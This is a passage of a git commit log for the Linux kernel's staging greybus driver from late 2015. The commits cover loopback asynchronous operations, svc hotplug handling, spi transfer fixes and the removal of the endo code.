+0100 greybus: connection: fail on missing protocol Make sure to fail properly when a protocol is missing. This prevents the connection from being created, which is fine as we currently never bind protocols post creation. This is an intermediate step in moving protocol binding to connection_init. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2d54e4db4efd244181aa6a2f54f0ec362adc9d4d Author: Johan Hovold Date: Mon Dec 7 15:05:30 2015 +0100 greybus: bundle: kill gb_bundle_bind_protocols Remove gb_bundle_bind_protocols() that was used to iterate over all registered bundles and bind protocols to them should a protocol become available post bundle creation. The protocol abstraction as a generic construct is going away in favour of class drivers. Connections will be setup when a class driver is probed, and driver modules can be loaded on-demand by user space based on uevents and modalias. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 30 ------------------------------ drivers/staging/greybus/bundle.h | 1 - drivers/staging/greybus/connection.c | 6 +++++- drivers/staging/greybus/connection.h | 2 -- drivers/staging/greybus/protocol.c | 6 ------ 5 files changed, 5 insertions(+), 40 deletions(-) commit a2cc7404e18cb75555b14831685a0b227135bc47 Author: Johan Hovold Date: Mon Dec 7 15:05:29 2015 +0100 greybus: bundle: remove obsolete function prototype Remove obsolete function prototype that was left after a recent code relocation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.h | 4 ---- 1 file changed, 4 deletions(-) commit b395754a8e03a3d424a93b2601f6e41a4ad59a05 Author: Johan Hovold Date: Mon Dec 7 15:05:28 2015 +0100 greybus: svc: add missing boot-status error message Make sure to print an error message when aborting hotplug processing due to failure to clear the interface boot status. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit f42a6891d18a156f41813e3cb924470d1e2ff9ad Author: Bryan O'Donoghue Date: Mon Dec 7 01:59:08 2015 +0000 greybus: loopback: Ensure we reset stats once and once only 9445c54c ('greybus/loopback: drop bus aggregate calculation') removed the aggregation of data in-kernel but instead of dropping the reset of aggregate stastics, converted that reset into a second reset of the connection-level stats. While this doesn't result in anything bad it's also definitely a dumb thing to be doing, so, drop it now. Also ensure we reset the bridge-specific tracking variables at least once. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) commit b36f04fa9417c58d53b1c54bf868b9da8f73810f Author: Bryan O'Donoghue Date: Mon Dec 7 01:59:07 2015 +0000 greybus: loopback: Convert thread delay to microseconds Currently the loopback code allows a delay between operations specified in milliseconds. Having added asynchronous bi-directional support to loopback its obvious that the delay value would be far more useful specified in microseconds than milliseconds. So, this patch makes the necessary conversion. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 12927835d21127d7e528b9ed56fc334ac96db985 Author: Bryan O'Donoghue Date: Mon Dec 7 01:59:06 2015 +0000 greybus: loopback: Add asynchronous bi-directional support A particular ask from the firmware people for some time now has been the ability to drive multiple outstanding bi-directional operations from loopback to loopback Interfaces. This patch implments that change. The approach taken is to make a call to gb_operation_send() and have loopback capture the completion callback itself, with a parallel timer to timeout completion callbacks that take too long. The calling thread will issue each gb_operation_send() as fast as it can within the constraints of thread-safety. In order to support this addition the following new sysfs entries are created on a per-connection basis. - async Zero indicates loopback should use the traditional synchronous model i.e. gb_operation_request_send_sync(). Non-zero indicates loopback should use the new asynchronous model i.e. gb_operation_send() - requests_completed This value indicates the number of requests successfully completed. - requests_timedout This value indicates the number of requests which timed out. - timeout The number of microseconds to give an individual asynchronous request before timing that request out. - timeout_min Read-only attribute informs user-space of the minimum allowed timeout. - timeout_max Read-only attribute informs user-space of the maximum allowed timeout. Note requests_completed + requests_timedout should always equal iteration_max, once iteration_count == iteration_max. Also, at this time we support either synchronous or asynchronous operations in one set of transactions. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 388 +++++++++++++++++++++++++++++++++++-- 1 file changed, 369 insertions(+), 19 deletions(-) commit 2e238d71edadf03bed470cf58514ee10795a806b Author: Bryan O'Donoghue Date: Mon Dec 7 01:59:05 2015 +0000 greybus: loopback: Convert cross-thread mutex to spinlock while relaxing connect locks This patch converts the cross-thread mutex used to synchronize threads with respect to each other to a spinlock. This is done to enable taking of locks in the following patches while in atomic context. A small re-order of locking in connection setup/tear-down is done to minimize the amount of time spent in spinlock_irqsave(). Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) commit b933fa4a40962c77254405a5274c8927f53b5074 Author: Viresh Kumar Date: Fri Dec 4 21:30:10 2015 +0530 greybus: Prefix hexadecimal values with 0x while printing them To clearly specify the base for printed values, prefix hexadecimal values with 0x. Suggested-by: Johan Hovold Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- drivers/staging/greybus/sdio.c | 4 ++-- drivers/staging/greybus/svc.c | 10 +++++----- drivers/staging/greybus/uart.c | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) commit 2f3db927cdf7627aa5359ff46c80ab72f7971980 Author: Viresh Kumar Date: Fri Dec 4 21:30:09 2015 +0530 greybus: don't use %h and %hh for printing short and char variables Because the width of our fields is already known, we can use %0Nx (for hex) to print N bytes and %u (for unsigned decimal), instead of using %h and %hh, which isn't that readable. This patch makes following changes: - s/%hx/%04x - s/%04hx/%04x - s/%hhx/%02x - s/%02hhx/%02x - s/%hhu/%u - s/%hu/%u - s/%x/%02x for u8 value (only at a single place) Suggested-by: Johan Hovold Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 4 ++-- drivers/staging/greybus/connection.c | 6 +++--- drivers/staging/greybus/es2.c | 4 ++-- drivers/staging/greybus/firmware.c | 2 +- drivers/staging/greybus/hid.c | 2 +- drivers/staging/greybus/loopback.c | 2 +- drivers/staging/greybus/manifest.c | 6 +++--- drivers/staging/greybus/operation.c | 14 +++++++------- drivers/staging/greybus/protocol.c | 4 ++-- drivers/staging/greybus/svc.c | 28 ++++++++++++++-------------- 10 files changed, 36 insertions(+), 36 deletions(-) commit 4aac6c5a144921448237d2a2bff50d4fba0b0faf Author: Viresh Kumar Date: Fri Dec 4 21:30:08 2015 +0530 greybus: svc: Use -EIO instead of -EINVAL for unipro errors -EIO fits better here, rather than -EINVAL as the arguments to the routine itself are valid, just that we failed while doing unipro transfers. Suggested-by: Johan Hovold Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c5b6df9c8dbe0329e154410e9d39526ab01c0b51 Author: Viresh Kumar Date: Fri Dec 4 21:30:07 2015 +0530 greybus: Documentation: Arrange entries in alphabetical order The order of entries in sysfs-bus-greybus file doesn't match the order files/directories in sysfs on a real board. More specifically, N-svc comes at last and ap_interface_id comes before endo_id within the svc. Fix that. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 80 +++++++++++----------- 1 file changed, 40 insertions(+), 40 deletions(-) commit c29c016f7e41404aa7288aad8088162cac291594 Author: Johan Hovold Date: Fri Dec 4 10:44:24 2015 +0100 greybus: core: add bundle id to bundle uevents Add the bundle id to bundle uevents. This is needed to identify bundles that are being removed (e.g. at hot-unplug). Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit c5e6b05ce4a18e7d6b73be0579c0698c8cc31b6c Author: Johan Hovold Date: Thu Dec 3 19:18:04 2015 +0100 greybus: core: add interface id to interface and bundle uevents Add the interface id to interface and bundle uevents. This is needed to identify interfaces that are being removed (e.g. at hot-unplug). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 5 +++++ 1 file changed, 5 insertions(+) commit f0960d05f5ece96a7b2539e0adb92bfbfc83bf3e Author: Johan Hovold Date: Thu Dec 3 19:18:02 2015 +0100 greybus: core: add bus id to uevents Add the bus id to all greybus uevents. This is needed to identify devices that are being removed (e.g. at hot-unplug). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 12 +++++++----- drivers/staging/greybus/svc.c | 1 + drivers/staging/greybus/svc.h | 1 + 3 files changed, 9 insertions(+), 5 deletions(-) commit 1cacb456fd6b5fd99f0274bef2b2d04b5f259392 Author: Johan Hovold Date: Thu Dec 3 17:29:00 2015 +0100 greybus: svc: flush workqueue at connection exit Make sure to flush the workqueue from hotplug and hotunplug events when the svc connection is tore down. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 ++ 1 file changed, 2 insertions(+) commit 8e1d6c336d74977403b0d7ca81e1e9a098518ff0 Author: Bryan O'Donoghue Date: Thu Dec 3 17:29:41 2015 +0000 greybus: loopback: drop bus aggregate calculation At some point we had a statement in a Jira work item to pull out 'bus level' data from greybus and to have messages to different interfaces be synchronized with respect to each other. Synchronizing threads with respect to each other is slow and it turns out we can get the same 'bus level' stastics by making the user-space test application smarter. That's great news for the in-kernel code since it means we can cut out a whole lot of code to-do with calculating 'bus level' aggregate data and we can stop forcing threads to hit a rendezvous before sending out another loopback operation. So this patch drops bus level aggregates in favour of doing that in user-space. It subtracts a lot of code and cycles that in practice nobody cares about anyway. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 474 +++++++++++-------------------------- 1 file changed, 133 insertions(+), 341 deletions(-) commit 9673dcebe472f298ba9781db84c5880d55372cc9 Author: Bryan O'Donoghue Date: Thu Dec 3 17:29:40 2015 +0000 greybus: loopback: Drop unused timeval variables start and end aren't used and should be dropped. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 ----- 1 file changed, 5 deletions(-) commit d6a1a3b5ea08c7828a177b48e6e39943b0fadf3c Author: Bryan O'Donoghue Date: Thu Dec 3 17:29:39 2015 +0000 greybus: loopback: Move latency_ts initialization to transfer routine Initializing the bridge specific latency variables is only relevant to the transfer operation, so make it loopback-transfer specific. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d9fb3754ecf807f6c6bbe63ff2fbd29e00fad131 Author: Bryan O'Donoghue Date: Thu Dec 3 17:29:38 2015 +0000 greybus: loopback: Relax locking during loopback operations Currently a per-connection mutex is held during calls to gb_operation_send_sync. It is not necessary to hold this lock and later patches supporting multiple-outstanding bi-directional operations need to take the per-connection lock and the gb_dev level lock. Since gb_dev must always be taken before per-connection locks, it is both desirable and safe to drop the lock now. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1700507d8c1b3578152c8afa8062a66e78e3a4bb Author: Rui Miguel Silva Date: Thu Dec 3 16:07:49 2015 +0000 greybus: lights: default value for v4l2 flash controls V4l2 flash will return erro ERANGE if val(which is the default value) is not defined. Just set it to the max value reported by the module. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 2 ++ 1 file changed, 2 insertions(+) commit d644181fe60f4fcfca7e9e9e9b0503993e391e69 Author: Rui Miguel Silva Date: Thu Dec 3 16:07:48 2015 +0000 greybus: lights: avoid channel torch double free When attaching torch to a flash we release the channel torch resources, but afterwards we do it again when releasing all the channels. Just free all the resource at channel release. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 3 --- 1 file changed, 3 deletions(-) commit 3f85c787b74c26f3816017e64288af907f291462 Author: Rui Miguel Silva Date: Thu Dec 3 16:07:47 2015 +0000 greybus: lights: add v4l2 flash operations We do not implement any of the v4l2 flash operations, as the default ones are ok for now, however the init needs anything define, if not it will return an error. So, just define it and have an error free v4l2 flash init. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit e6420dac3d5d45c60886221afcf31ecaf255d992 Author: Viresh Kumar Date: Thu Dec 3 13:54:57 2015 +0530 greybus: Documentation: Fix N-svc directory name endo_id was present in place of the directory N-svc, fix it. Fixes: 4f7b1833e78f ("Documentation/sysfs-bus-greybus: update the bus ABI documentation") Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 31bc2c9bcd3054b90322acf85a53aacbb9e29ee4 Author: Rui Miguel Silva Date: Wed Dec 2 11:12:29 2015 +0000 greybus: spi: fix transfers bigger than greybus payload Add helper functions calculate the tx and rx size possible that fit a greybus payload size and change the operation creation to adjust to that. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 102 +++++++++++++++++++++++++++++++++++------- 1 file changed, 87 insertions(+), 15 deletions(-) commit 11aa7121edfa4c32b06e9278e6d0e51d197d3560 Author: Michael Scott Date: Thu Dec 3 12:32:30 2015 -0800 greybus: build: remove Android makefile There is no standard way of building a kernel from source in Android. Each device/SoC can (and do) implement it in their own way. To that end, let's remove this makefile and let each device define how they want to build the modules. Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Android.mk | 32 -------------------------------- 1 file changed, 32 deletions(-) commit b343f6afd7635c86e1c001f1623e07f218c694db Author: Rui Miguel Silva Date: Wed Dec 2 11:12:28 2015 +0000 greybus: spi: add master and device config operations Add master and device config operations, one is to merge all the master operations and the device config will allow to fetch and add devices for each chip select. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 31 +++---- drivers/staging/greybus/spi.c | 138 ++++++++++++---------------- 2 files changed, 74 insertions(+), 95 deletions(-) commit b455c84655d5bdfc5157d2100279e3ff2454b596 Author: Rui Miguel Silva Date: Wed Dec 2 11:12:27 2015 +0000 greybus: spi: add rdwr field to transfer descriptor Add read and/or write field to transfer descriptor to make it possible to identify the type of transfer. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 3 +++ drivers/staging/greybus/spi.c | 5 ++++- 2 files changed, 7 insertions(+), 1 deletion(-) commit 3e48acac26c8b5321ff5b752c8650e1cf4d04344 Author: Johan Hovold Date: Wed Dec 2 18:23:31 2015 +0100 greybus: svc: fix racy hotplug handling Fix racy hotplug handling by serialising all processing of hot-plug and unplug requests using a single-threaded dedicated workqueue. This fixes a reported crash during enumeration when processing multiple events. The current svc implementation does not handle concurrency at all (e.g. no interface list lock or refcounting) so we need to use the big hammer for now. Note that we will eventually want to process events for different interfaces in parallel, but that we'd still need a workqueue in order not to starve other svc requests (e.g. for timesync). Reported-by: Vaibhav Hiremath Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 12 ++++++++++-- drivers/staging/greybus/svc.h | 1 + 2 files changed, 11 insertions(+), 2 deletions(-) commit 57ccd4b08767bc3c44d3752bddcb6d6cad78830c Author: Johan Hovold Date: Wed Dec 2 18:23:30 2015 +0100 greybus: svc: defer processing of hot-unplug requests Defer processing also of hot-unplug events. This is a step towards serialising hot-plug and unplug event processing. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 44 ++++++++++++++++++++++++++++--------------- 1 file changed, 29 insertions(+), 15 deletions(-) commit 9ae4109e5db02d4fae37bbd1399a8157efb583c4 Author: Johan Hovold Date: Wed Dec 2 18:23:29 2015 +0100 greybus: svc: generalise deferred request handling Clean up and generalise deferred request handling by simply storing a reference-counted pointer to the operation itself in the work context. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 78 +++++++++++++++++++++++++++---------------- 1 file changed, 50 insertions(+), 28 deletions(-) commit b4ee82ece86d21c73213abae77e32abe40136eb4 Author: Johan Hovold Date: Wed Dec 2 18:23:28 2015 +0100 greybus: svc: clean up interface-remove helper Pass the svc rather than its connection to the interface remove helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 24456a09a830dc44ace4d0db8e29d1e367937b58 Author: Johan Hovold Date: Wed Dec 2 18:23:27 2015 +0100 greybus: svc: clean up deferred hotplug handler Rename the hotplug request message, and clarify that the message size has already been verified by the primary handler. Also add a debug message that includes the interface id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit d34a3643fe8d20b4e19779f82dfb29b5e6678a9d Author: Johan Hovold Date: Wed Dec 2 18:23:26 2015 +0100 greybus: svc: clean up hotplug/unplug request handlers Clean up hotplug/unplug request handlers somewhat. Also add a debug message to both handlers that includes the interface id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit f1e941a6e4b71a5b94d584277121bd2bee8809b0 Author: Viresh Kumar Date: Thu Nov 26 15:33:46 2015 +0530 greybus: firmware: Fetch es2 VID/PID to distinguish module vendors The es2 chip doesn't have VID/PID programmed into the hardware and we need to hack that up to distinguish different modules and their firmware packages. This fetches VID/PID (over firmware protocol) for es2 chip only, when VID/PID already sent during hotplug are 0. Since only the bootrom contains a firmware protocol cport, this only affects bootrom's working and not nuttx. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 51 ++++++++++++++++++++++++++++- drivers/staging/greybus/greybus_protocols.h | 7 ++++ 2 files changed, 57 insertions(+), 1 deletion(-) commit 32945d6ecc89331f10d715496fd2247f958d471e Author: Johan Hovold Date: Wed Nov 25 15:06:41 2015 +0100 greybus: Documentation/sysfs: rename interface and bundle attributes Update the example sysfs-tree layout under Documentation due renamed interface and bundle attributes. The interface and bundle "id" attributes have been renamed "interface_id" and "bundle_id" respectively to make them self describing. For consistency reasons the bundle class attribute is renamed as "bundle_class". . ├── greybus1 │   ├── 1-2 │   │   ├── 1-2.1 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   └── state │   │   ├── 1-2.2 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   └── state │   │   ├── interface_id │   │   ├── product_id │   │   ├── unique_id │   │   └── vendor_id │   ├── 1-4 │   │   ├── 1-4.2 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   ├── gpbridge0 │   │   │   │   ├── gpio │   │   │   │   │   └── gpiochip490 │   │   │   │   └── i2c-4 │   │   │   └── state │   │   ├── interface_id │   │   ├── product_id │   │   ├── unique_id │   │   └── vendor_id │   └── 1-svc │   ├── ap_intf_id │   ├── eject │   ├── endo_id │   └── unique_id └── greybus2 ├── 2-3 │   ├── 2-3.1 │   │   ├── bundle_class │   │   ├── bundle_id │   │   └── state │   ├── interface_id │   ├── product_id │   ├── unique_id │   └── vendor_id └── 2-svc ├── ap_intf_id ├── eject ├── endo_id └── unique_id Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/bundle_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/bundle_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/bundle_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.2/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/bundle_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/class | 0 drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/2-3.1/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus2/2-3/interface_id | 1 + 22 files changed, 7 insertions(+), 7 deletions(-) commit 47091af91e7e872748a17158f1e99833962428b4 Author: Johan Hovold Date: Wed Nov 25 15:59:26 2015 +0100 greybus: interface: drop the control bundle Drop the control bundle and ignore control descriptors when parsing manifests. Every interface has a control connection with a well defined remote CPort 0 and there's no longer any need to create a bundle for it. As the control connection is setup and enabled before parsing the manifest, ignore any legacy descriptors for control cports and bundles in a manifest. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 42 +++++++-------------------- drivers/staging/greybus/manifest.c | 57 +++++++++---------------------------- 2 files changed, 24 insertions(+), 75 deletions(-) commit f2152eb33dec35703176e792da2769e88e5a81d3 Author: Johan Hovold Date: Wed Nov 25 15:59:25 2015 +0100 greybus: manifest: refactor cport-descriptor release Add helper function to release cport-descriptors with a given bundle id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit e1442f6910da337a879e44f32909844986714a4b Author: Johan Hovold Date: Wed Nov 25 15:59:24 2015 +0100 greybus: connection: unconditionally enable connections Remove conditional enabling of connections when binding protocols that served no purpose as a connection either has no bundle or it has an interface with a valid device id. Also remove the now unused GB_PROTOCOL_NO_BUNDLE protocol flag. This is an intermediate step in moving the protocol binding to connection_init, but is also needed as the control bundle is going away. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 18 +++++------------- drivers/staging/greybus/protocol.h | 1 - drivers/staging/greybus/svc.c | 1 - 3 files changed, 5 insertions(+), 15 deletions(-) commit 7fa530ad1b2d160ec9e76b3b5a1ac2e302e8f3bf Author: Johan Hovold Date: Wed Nov 25 15:59:23 2015 +0100 greybus: control: do not assume a control bundle The control bundle is going away so update the code. Also remove defensive WARN_ON which would not just warn if our implementation is broken, but also leak further memory unnecessarily. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 35822c04a5c232a7899d43a74f0d2fca5077b196 Author: Johan Hovold Date: Wed Nov 25 15:59:22 2015 +0100 greybus: connection: handle bundle-less connections in svc helpers The svc connection helper functions should not assume that all dynamic connections will have a bundle. This is needed as the control bundle is going away. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0f37860de9a86d25f86ccc95631fa03fa766f31e Author: Johan Hovold Date: Wed Nov 25 15:59:21 2015 +0100 greybus: kill the endo Remove the now unused endo and module code. Note that the never-implemented serial and version attributes of the endo can be implemented as svc attributes if needed. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 - drivers/staging/greybus/core.c | 20 -- drivers/staging/greybus/endo.c | 520 -------------------------------------- drivers/staging/greybus/endo.h | 63 ----- drivers/staging/greybus/greybus.h | 14 - drivers/staging/greybus/hd.c | 6 - drivers/staging/greybus/hd.h | 1 - drivers/staging/greybus/module.c | 178 ------------- drivers/staging/greybus/module.h | 26 -- drivers/staging/greybus/svc.c | 10 - 10 files changed, 840 deletions(-) commit dc3da5db2858c3fb33441988d1b6d56c06e53d7d Author: Johan Hovold Date: Wed Nov 25 15:59:20 2015 +0100 greybus: loopback: remove endo reference Replace reference to "endo0" and generate the raw-latency filename based on the host-device bus id instead. Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 684156a9d6eba32db939b11618d3c14d7e92d630 Author: Johan Hovold Date: Wed Nov 25 15:59:19 2015 +0100 greybus: svc: clean up log messages Use dev_err and friends with the svc device for messages. Clean up error messages. Demote a few warnings to warning level. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 106 +++++++++++++++++++++--------------------- 1 file changed, 52 insertions(+), 54 deletions(-) commit 5ef323846ff7d1c32e4fb2441dfc79b10d6092b3 Author: Johan Hovold Date: Wed Nov 25 15:59:18 2015 +0100 greybus: hd: fix svc-connection handling Create the svc connection when registering the host-device and remove the current svc connection hacks that "upgraded" the svc connection once the endo id and ap interface id was known. Note that the old implementation was partly based on a misunderstanding as it was the remote interface id, rather than the local AP interface id, that used to define a connection (but we also needed the endo_id). The remote interface is no longer needed as static connections, such as the svc connection, are now simply defined by the host-device and host cport id. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 18 ----------- drivers/staging/greybus/connection.h | 3 -- drivers/staging/greybus/hd.c | 31 ++++++++++--------- drivers/staging/greybus/hd.h | 2 +- drivers/staging/greybus/svc.c | 59 ------------------------------------ drivers/staging/greybus/svc.h | 2 -- 6 files changed, 17 insertions(+), 98 deletions(-) commit 87757e325ab8b5b9e0e90e37de77778a631e6c8c Author: Johan Hovold Date: Wed Nov 25 15:59:17 2015 +0100 greybus: protocol: handle static connections Use host-device device and connection name for log messages, as not all connections have a bundle. Note that the "initial" svc connection has never had a bundle. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 25cdd7aa5e67c09d65a5a2a5da5fc01ebf6483fe Author: Johan Hovold Date: Wed Nov 25 15:59:16 2015 +0100 greybus: operation: handle static connections Use the host-device device and connection name for error messages, as the operation code can not assume that a connection has a bundle. Note that the "initial" svc connection has never had a bundle. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 59 ++++++++++++++++++++----------------- 1 file changed, 32 insertions(+), 27 deletions(-) commit 4c4b50218656d972295b2ecabd3aacb674e2fe11 Author: Johan Hovold Date: Wed Nov 25 15:59:15 2015 +0100 greybus: connection: handle static connections Use host-device device and connection name for log messages rather than assume that all connections have a bundle (e.g. not true for static connections). Note that the "initial" svc connection has never had a bundle. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 729b260a67e051bcabdd83c8a29fc13c5617cd6b Author: Johan Hovold Date: Wed Nov 25 15:59:14 2015 +0100 greybus: connection: add name field Add a name field to connections that can be used in log messages. A connection always belongs to a host-device (bus) and can be uniquely identified by its host-device cport id, but include remote interface and cport id nonetheless on the following format: /: The remote interface and cport id will be zero for static connections. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 17 +++++++++++++++++ drivers/staging/greybus/connection.h | 1 + 2 files changed, 18 insertions(+) commit 4ec1574ae99872a9d1922fb1e57b8d46df4d0920 Author: Johan Hovold Date: Wed Nov 25 15:59:13 2015 +0100 greybus: connection: kill GB_PROTOCOL_SKIP_SVC_CONNECTION Add helper to determine whether a connection is static, and remove the protocol flag GB_PROTOCOL_SKIP_SVC_CONNECTION. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 ++--- drivers/staging/greybus/connection.h | 5 +++++ drivers/staging/greybus/protocol.h | 1 - drivers/staging/greybus/svc.c | 3 +-- 4 files changed, 8 insertions(+), 6 deletions(-) commit 0daf17b9e4f74981c7546ad4b4224b8bef85e00e Author: Johan Hovold Date: Wed Nov 25 15:59:12 2015 +0100 greybus: connection: fix potential null-deref on create Make sure that the interface lookup helper can handle static, bundle-less connections without 